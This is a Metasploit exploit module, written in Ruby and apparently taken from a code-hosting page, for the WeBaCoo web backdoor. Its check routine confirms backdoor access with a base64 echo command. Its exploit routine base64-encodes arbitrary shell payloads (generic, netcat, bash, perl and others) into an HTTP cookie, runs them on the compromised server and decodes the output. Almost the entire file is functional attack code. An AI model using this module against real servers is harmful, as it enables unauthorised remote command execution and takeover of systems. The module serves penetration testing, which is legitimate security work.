149 lines
4.6 KiB
Ruby
149 lines
4.6 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'WeBaCoo Backdoor Exploit',
|
|
'Description' => %q{
|
|
WeBaCoo (Web Backdoor Cookie) is a web backdoor script-kit, aiming to provide a
|
|
stealth terminal-like connection over HTTP between client and web server. Using
|
|
this exploit module you can interact with the backdoor server without using WeBaCoo
|
|
terminal mode to establish the communication channel.
|
|
},
|
|
'Author' => [ 'A. Bechtsoudis <anestis [at] bechtsoudis.com>' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'https://github.com/anestisb/WeBaCoo' ],
|
|
[ 'URL', 'https://bechtsoudis.com/webacoo/' ]
|
|
],
|
|
'Privileged' => false,
|
|
'Platform' => ['unix','linux'],
|
|
'Arch' => ARCH_CMD,
|
|
'Payload' =>
|
|
{
|
|
# max HTTP header length
|
|
'Space' => 8190,
|
|
'DisableNops' => true,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'generic perl ruby python netcat netcat-e bash'
|
|
},
|
|
},
|
|
'DisclosureDate' => 'Nov 29 2011',
|
|
'Targets' => [ ['Automatic', { }] ],
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [ true, "WeBaCoo backdoor path", '/index.php']),
|
|
OptString.new('COOKIE', [ true, "Cookie name to use", 'M-Cookie'])
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
cookie = datastore['COOKIE']
|
|
|
|
# generate a random string for a test echo command
|
|
rstr = rand_text_alphanumeric(6)
|
|
|
|
# base64 encode the command
|
|
command = Rex::Text.encode_base64("echo '#{rstr}'")
|
|
|
|
# random delimiter used to wrap the server's response
|
|
delim = rand_string(4)
|
|
|
|
# form the cookie that will tranfer the payload
|
|
# details about backdoor communication model at:
|
|
# https://github.com/anestisb/WeBaCoo/wiki/Documentation
|
|
cookie = "cm=#{command}; cn=#{cookie}; cp=#{delim}"
|
|
print_status("Checking target URI for backdoor access.")
|
|
response = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'cookie' => cookie
|
|
})
|
|
|
|
# server response validation
|
|
if response and response.code == 200
|
|
# retrieve the HTTP response cookie sets
|
|
res_cookie = Rex::Text.uri_decode(response.headers['Set-Cookie'])
|
|
if res_cookie
|
|
# obtain the command output substring wrapped between delimiters
|
|
cmd_res = *(/#{delim}(.*)#{delim}/.match(res_cookie))
|
|
|
|
# decode command output
|
|
cmd_res = Rex::Text.decode_base64(cmd_res[1]).chomp! unless cmd_res.nil?
|
|
if cmd_res == rstr
|
|
return Exploit::CheckCode::Vulnerable
|
|
else
|
|
print_error("Server did not responded with expected cookie values.")
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
else
|
|
print_error("Server did not responded with a Set-Cookie in header.")
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
print_error("Server responded with #{response.code}.") unless response.nil?
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
cookie = datastore['COOKIE']
|
|
|
|
print_status("Sending payload via HTTP header cookie")
|
|
|
|
# generate a random delimiter
|
|
delim = rand_string(4)
|
|
|
|
# form the payload cookie carrier
|
|
cookie = "cm=" + Rex::Text.encode_base64(payload.encoded) + "; cn=#{cookie}; cp=#{delim}"
|
|
|
|
response = send_request_raw({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'cookie' => cookie
|
|
})
|
|
|
|
# in case of custom command payload the server's response is captured and printed
|
|
if datastore['PAYLOAD'] == 'cmd/unix/generic' and response and response.code == 200
|
|
# retrieve the HTTP response cookie sets
|
|
res_cookie = URI.decode(response.headers['Set-Cookie'])
|
|
if res_cookie
|
|
# obtain the command output substring wrapped between delimiters
|
|
cmd_res = *(/#{delim}(.*)#{delim}/.match(res_cookie))
|
|
|
|
# decode command output
|
|
cmd_res = Rex::Text.decode_base64(cmd_res[1]).chomp! unless cmd_res.nil?
|
|
print_good("Server responed with:\n#{cmd_res}")
|
|
end
|
|
end
|
|
|
|
end
|
|
|
|
# Generate a random string with one base64 non-valid character
|
|
def rand_string(length=8)
|
|
# Base64 valid characters
|
|
vchars = ('a'..'z').to_a + ('A'..'Z').to_a + ('0'..'9').to_a
|
|
# Base64 non-valid characters
|
|
nvchars = (['!','@','#','%','&','*','?','~']).to_a
|
|
str=''
|
|
(length-1).times{ str << vchars[rand(vchars.size)] }
|
|
return str + nvchars[rand(nvchars.size)]
|
|
end
|
|
end
|